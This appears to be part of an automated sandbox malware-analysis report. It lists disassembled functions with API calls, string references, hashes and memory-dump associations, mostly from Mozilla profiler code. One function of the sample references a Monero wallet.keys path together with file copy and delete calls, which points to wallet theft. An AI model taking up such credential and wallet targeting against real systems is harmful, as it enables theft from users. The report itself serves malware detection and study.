Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: b0f45ab7591914850da2e970279833eaf23e522e73aee495770ea7cb9e728536
Instruction ID: ada84d42758b3c70c2d26e76f8f075dfd2b07ddc0b3f2d07c1fa0ea40c60d389
Opcode Fuzzy Hash: b0f45ab7591914850da2e970279833eaf23e522e73aee495770ea7cb9e728536
Instruction Fuzzy Hash: D1210DB1E54308AFDB04DF94DD49FAEBBB9FB48711F108119FA05A7280C779A9019BA1

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 006D8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,006D951E,00000000), ref: 006D8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 006D8D62
wsprintfW.USER32 ref: 006D8D78

Strings

%hs, xrefs: 006D8D6F

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 14347674b35cd13132e33812f7eb951255a22a7776f159d0644bbfaae6f937c1
Instruction ID: f477ae6405fbbe0c6a5b10e1077b94176cac967735313b8f3ae85b1591a7f702
Opcode Fuzzy Hash: 14347674b35cd13132e33812f7eb951255a22a7776f159d0644bbfaae6f937c1
Instruction Fuzzy Hash: CFE0ECB5A54308BFDB10DBA4DD0AE6977B8EB44702F108198FD0997280DA759E10AB96

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 006CD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006D8B60: GetSystemTime.KERNEL32(006E0E1A,013E9B28,006E05AE,?,?,006C13F9,?,0000001A,006E0E1A,00000000,?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006D8B86

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006CD481
lstrlen.KERNEL32(00000000), ref: 006CD698
lstrlen.KERNEL32(00000000), ref: 006CD6AC
DeleteFileA.KERNEL32(00000000), ref: 006CD72B

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2ffd790d65947e608491940225c9ac43190474907d930f539f69d1ae42586d2f
Instruction ID: e6fc08818a7f6fea78739d22c9eed89377d530810aac59a6e52640d50e4eba5f
Opcode Fuzzy Hash: 2ffd790d65947e608491940225c9ac43190474907d930f539f69d1ae42586d2f
Instruction Fuzzy Hash: 2D912372C141489BDB44FBE0DC96EEE733AAF14300F50416EF50766291EF746A09DBAA

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 006D3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 8bcfab5c96c213afdb85ca1c32fdbf75432b69cefd2fed3c9d792d02f62b0c0f
Instruction ID: e7465eb4658036e2e72db0674bd76d07c25ccd5036b7f81fa1c84a308bbd3c88
Opcode Fuzzy Hash: 8bcfab5c96c213afdb85ca1c32fdbf75432b69cefd2fed3c9d792d02f62b0c0f
Instruction Fuzzy Hash: 79418071D14248AFCF04EFE5DC45AEEB7B6AF44304F008019E41676390DB74AA05CFA6

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 006D7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006E0E00,00000000,?), ref: 006D79B0
RtlAllocateHeap.NTDLL(00000000), ref: 006D79B7
GetLocalTime.KERNEL32(?,?,?,?,?,006E0E00,00000000,?), ref: 006D79C4
wsprintfA.USER32 ref: 006D79F3

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
